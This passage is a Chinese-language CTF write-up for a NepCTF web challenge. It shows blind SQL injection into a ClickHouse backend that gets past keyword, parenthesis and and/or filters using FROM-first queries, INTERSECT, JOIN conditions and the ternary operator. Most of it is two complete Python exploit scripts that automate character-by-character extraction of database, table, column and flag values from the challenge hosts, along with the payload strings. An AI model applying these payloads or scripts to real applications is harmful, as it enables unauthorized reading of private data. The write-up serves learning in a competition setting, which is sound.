FROM system.databases AS inject
JOIN users ON inject.name LIKE '{pattern}'
SELECT users.id, users.name, users.email, users.age
FORMAT JSON;

在 ClickHouse 中，可以将 FROM 放在 SELECT 子句之前，因此可以通过这种方式绕过黑名单中的 select.*from 。另外，JOIN 和 ARRAY JOIN 子句也可以用于扩展 FROM 子句功能。

INTERSECT 子句的前一半内容如下，返回的内容是所有用户的 ID、Name、Email 和 Age 。

SELECT users.id, users.name, users.email, users.age FROM users WHERE users.id = id

后一半的内容转换成熟悉的样子如下所示。

SELECT users.id, users.name, users.email, users.age
FROM system.databases
JOIN users ON system.databases.name LIKE '{pattern}'

该依据同样跟前一半一样，获取了用户的 ID、Name、Email 和 Age，虽然 FROM 是系统中所有数据库的信息，但是 JOIN 子句访问了用户表 users ，将 ON 条件当作 IF 判断来用，若 ON 条件为真则同样输出所有用户的 ID、Name、Email 和 Age 。

优化后 Exp 如下，请自行根据所爆破的字段修改 FLAG_MODE 的值。
exp.py

import requests
from collections import deque
from urllib.parse import urlparse
import string
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# --- 配置 ---
URL = "https://nepctf30-ke4r-6c0a-zqqw-zxi9nxp4k595.nepctf.com"
CHARSET = '1234567890abcdef-}'
# CHARSET = string.ascii_lowercase + string.digits + '~`!@#$%^&*()+-={}[]\|<>,.?/_'
# CHARSET = string.ascii_letters + string.digits + string.punctuation
# 库
# payload_template = "id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"
# 表
# payload_template = "id INTERSECT FROM system.tables AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.database='nepnep'"
# 名
# payload_template = "id INTERSECT FROM system.columns AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.table='nepnep'"
# flag
# python test2.py "NepCTF{"
FLAG_MODE = True  # True 表示爆破 flag，False 表示遍历所有可能的表名
payload_template = "id INTERSECT FROM nepnep.nepnep AS inject JOIN users ON inject.`51@g_ls_h3r3` LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"


HOSTNAME = urlparse(URL).hostname
HEADERS = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive',
    'Host': HOSTNAME
}

# 添加代理配置 (默认指向Burp Suite)
PROXIES = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}
# 每次请求后的延迟时间（秒），以避免过快请求导致被封禁
REQUEST_DELAY = 3


# --- 核心检测函数 ---

def check(prefix, exact_match=False, max_retries=10, retry_delay=5):
    """
    发送盲注Payload，根据响应判断条件是否为真。
    内存超限时会自动等待 retry_delay 秒重试，最多 max_retries 次。
    """
    like_pattern = prefix if exact_match else f"{prefix}%"
    final_payload = payload_template.format(pattern=like_pattern)
    data = {'id': final_payload}

    attempt = 0
    while attempt < max_retries:
        attempt += 1
        try:
            response = requests.post(
                URL,
                headers=HEADERS,
                data=data,
                timeout=15,
                proxies=PROXIES,
                verify=False
            )

            # 每次请求后暂停，避免触发防护
            time.sleep(REQUEST_DELAY)

            # --- 内存超限处理 ---
            if "MEMORY_LIMIT_EXCEEDED" in response.text or "memory limit exceeded" in response.text:
                print(f"[!] 内存超限 (第{attempt}次尝试) -> 前缀 '{prefix}'")
                if attempt < max_retries:
                    print(f"    等待 {retry_delay} 秒后重试...")
                    time.sleep(retry_delay)
                    continue
                else:
                    print(f"[-] 前缀 '{prefix}' 多次内存超限，放弃本次尝试。")
                    return False

            # --- 成功返回判断 ---
            return 'User_5' in response.text

        except requests.exceptions.RequestException as e:
            print(f"[Error] 请求失败 (第{attempt}次) 前缀 '{prefix}': {e}", file=sys.stderr)
            if attempt < max_retries:
                print(f"    等待 {retry_delay} 秒后重试...")
                time.sleep(retry_delay)
            else:
                return False


# --- 广度优先搜索 (BFS) 算法 ---

def bfs_discover(start_prefix=""):
    """
    使用 BFS / DFS 爆破，根据 FLAG_MODE 自动切换策略：
    - FLAG_MODE = True  : 找到一个字符立即进入下一位（类似 DFS）
    - FLAG_MODE = False : 完整 BFS 遍历所有可能字符
    """
    print("--- [ 启动盲注爆破脚本 ] ---")
    queue = deque()
    found_names = set()

    # 1. 初始化队列
    if start_prefix:
        print(f"\n[+] 从指定前缀 '{start_prefix}' 开始搜索...")
        if check(start_prefix):
            print(f"  - 前缀 '{start_prefix}' 有效，加入队列。")
            queue.append(start_prefix)
            if check(start_prefix, exact_match=True):
                print(f"  [!] 指定前缀即完整项: {start_prefix}")
                found_names.add(start_prefix)
        else:
            print(f"[-] 前缀 '{start_prefix}' 无效或无返回，终止。")
            return
    else:
        if FLAG_MODE:
            # flag 模式从空前缀开始 DFS
            print("[+] FLAG_MODE: 从空前缀开始 DFS 爆破。")
            queue.append("")
        else:
            # 枚举模式 BFS 初始化
            print("\n[+] 正在探测第一层前缀...")
            for char in CHARSET:
                if check(char):
                    print(f"  - 发现有效起始字符: '{char}'")
                    queue.append(char)
                    if check(char, exact_match=True):
                        print(f"  [!] 发现完整项: {char}")
                        found_names.add(char)

    if not queue:
        print("[-] 初始队列为空，退出。")
        return

    # 2. BFS/DFS 遍历
    level = len(start_prefix) if start_prefix else 0
    while queue:
        level_size = len(queue)
        print(f"\n--- 正在处理长度为 {level + 1} 的前缀 (当前队列: {level_size}) ---")

        for _ in range(level_size):
            current_prefix = queue.popleft()
            print(f"[INFO] 扩展前缀: '{current_prefix}'")

            for char in CHARSET:
                new_prefix = current_prefix + char

                # 检查新前缀是否存在
                if check(new_prefix):
                    print(f"  - 有效前缀: '{new_prefix}'")
                    queue.append(new_prefix)

                    # 检查是否完整项
                    if check(new_prefix, exact_match=True):
                        print(f"\n  [!] 发现完整项: {new_prefix}\n")
                        found_names.add(new_prefix)

                    if FLAG_MODE:
                        # FLAG_MODE 下立即进入下一位，不再爆破同层其他字符
                        print(f"  [FLAG_MODE] 立即进入下一位爆破: '{new_prefix}'")
                        queue.clear()
                        queue.append(new_prefix)
                        break  # 跳出 CHARSET 循环
            # FLAG_MODE 下，一旦找到字符就不再处理同层其他前缀
            if FLAG_MODE and queue:
                break

        level += 1
        time.sleep(0.5)  # 避免过快请求

    print("\n--- [ 爆破完成 ] ---")
    if found_names:
        print("[SUCCESS] 发现的完整项:")
        for name in sorted(list(found_names)):
            print(f"  -> {name}")
    else:
        print("[-] 未能发现任何完整项。")


# --- 脚本主入口 ---
if __name__ == "__main__":
    # 从命令行参数获取可选的起始前缀
    print(f"用法: python {sys.argv[0]} [可选的起始前缀]")
    start_prefix = ""
    if len(sys.argv) > 1:
        start_prefix = sys.argv[1]
        print(f"\n[*] 检测到命令行参数，将使用 '{start_prefix}' 作为起始前缀进行搜索。")
    else:
        print("\n[*] 未提供起始前缀，将从头开始搜索所有表名。")

    bfs_discover(start_prefix)

通过运行 python exp.py "NepCTF{" 稍许片刻（可能是片刻）即可得到 flag ，若出现多次内存超限，可尝试歇几分钟再来猛攻。

官方WP

绕过select from

select from语句可以写为
FROM table select *

绕过括号限制

一般认为没有括号就无法进行子查询，所以这里的思路只能是利用union、intersect、except中的一个进行查询拼接（mysql 8高版本也支持）

阶段总结

利用上面的payload就可以写出如下的payload来进行查询（intersect用法以及clickhouse的数据信息库不一一阐述了，自行查询）

select * from users where id=1 
intersect 
from system.databases select 1,'User_1','user1@example.com',44 where name>'abc'

当数据库名大于字符串abc，就会返回User_1的信息，不大于就会报错，利用这一点可以注入出库名了，那么表名，列名呢？

我们注入表名列名需要使用如下语句

select * from users where id=1 
intersect 
from system.tables select 1,'User_1','user1@example.com',44 where database='nepnep' and name > 'abc' 

因为没有and所以得想办法绕过

绕过or和and

clickhouse无法像mysql那样随意使用+-*/^|进行数字或者运算

比如

select * fromtablewhereid=1='abc'#会报错
select * fromtablewhereid=1^name='abc'#会报错
select * fromtablewhereid=1andname='abc'#正确

利用文档里的操作符：https://clickhouse.com/docs/sql-reference/operators

a ? b : c

最终payload如下

1 intersect from system.tables select 1,'User_1','user1@example.com',44 where database='nepnep'?name>'abc':0

exp因为字符比较问题有一些小bug，不想修摆烂了，最后一位会差1个字符，比如nepnep变成nepneo，手动修改下

import requests
url='https://nepctf31-babr-hwkw-gp5p-922mchfng311.nepctf.com/'
flag=''
for i in range(1,50):
    left=1
    right=129

    while right-left!=1:
        mid=(left+right)//2
        data={
        #'id':"1 intersect from system.databases select 1,'User_1','user1@example.com',44 where name>'{mid}' limit 1,1".format(mid=flag+chr(mid))
        #nepnep
        #'id':"1 intersect from system.tables select 1,'User_1','user1@example.com',44 where database='nepnep'?name>'{mid}':0".format(mid=flag+chr(mid))
        #nepnep
        #'id':"1 intersect from system.columns select 1,'User_1','user1@example.com',44 where table='nepnep'?name>'{mid}':0 limit 2,1".format(mid=flag+chr(mid))
        #51@g_ls_h3r3
        'id':"1 intersect from nepnep.nepnep select 1,'User_1','user1@example.com',44 where `51@g_ls_h3r3`>'{mid}'".format(mid=flag+chr(mid))
        #NepCTF{9dd5d582-d102-1e6b-75ff-154291064870}
        }
        r=requests.post(url=url,data=data)
        if'未找到ID'notin r.text:
            left=mid
        else:
            right=mid
    flag+=chr(left)
    print(flag.encode())